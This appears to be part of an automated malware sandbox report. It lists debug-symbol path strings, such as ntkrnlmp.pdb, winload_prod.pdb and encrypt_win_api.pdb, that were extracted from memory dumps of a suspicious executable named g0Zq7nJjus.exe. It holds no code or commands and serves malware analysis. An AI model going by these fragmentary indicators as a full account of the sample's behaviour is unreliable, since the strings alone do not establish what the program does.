Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856698269.0000000003A64000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2857353073.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2801554812.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801753998.000000000325A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803215589.000000000325E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\< source: g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \C:\panuhakibu\k.pdb source: g0Zq7nJjus.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Q source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\m source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003A46000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.0000000003A52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\panuhakibu\k.pdb source: g0Zq7nJjus.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ing\ix?E2 source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003AE2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\atz source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\okies\ source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2750724759.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750769803.00000000037E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\6 source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749353006.000000000372E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\O source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723036234.000000000368A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723714012.000000000368B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749711580.0000000003654000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749493493.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2760228015.0000000003659000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750660967.0000000003659000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2760146559.000000000363A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\E source: g0Zq7nJjus.exe, 00000006.00000003.2722163509.000000000323B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\wz>N source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\K source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.0000000003273000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722024071.00000000032A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2656028554.0000000003299000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655986231.0000000003283000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508002940.00000000032A4000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721983761.000000000329D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A59000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849049151.00000000039D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\4iqIB source: g0Zq7nJjus.exe, 00000006.00000003.2749711580.0000000003654000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750389105.000000000365E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749493493.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721647058.0000000003643000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750879369.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003654000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2858780081.0000000003B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb= source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\fr-CA\od.pdb\2y source: g0Zq7nJjus.exe, 00000006.00000003.2856951875.00000000036CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqwh\|;@n source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqwf source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*$ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\; source: g0Zq7nJjus.exe, 00000006.00000003.2802286920.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803646845.000000000369C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802493728.000000000369B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: g0Zq7nJjus.exe, 00000006.00000003.2802124972.0000000003A08000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.00000000039E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003B1E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*: source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\* source: g0Zq7nJjus.exe, 00000006.00000003.2508002940.00000000032A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\? source: g0Zq7nJjus.exe, 00000006.00000003.2802286920.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803646845.000000000369C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802493728.000000000369B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\# source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\$ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2854219217.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: g0Zq7nJjus.exe, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\yp source: g0Zq7nJjus.exe, 00000006.00000003.2759636821.0000000003781000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801503459.00000000037A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803956141.00000000037CD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803151864.00000000037BE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.0000000003766000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\| source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\[}"Ml/ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854389447.0000000003784000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\C2\\H source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\T[DP source: g0Zq7nJjus.exe, 00000006.00000003.2750724759.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.00000000037F1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750769803.00000000037E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\t source: g0Zq7nJjus.exe, 00000006.00000003.2759636821.0000000003781000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801503459.00000000037A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803956141.00000000037CD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803151864.00000000037BE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.0000000003766000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: g0Zq7nJjus.exe, 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\( source: g0Zq7nJjus.exe, 00000006.00000003.2750957256.0000000003252000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723839974.0000000003251000.00000004.00000020.00020000.00000000.sdmp
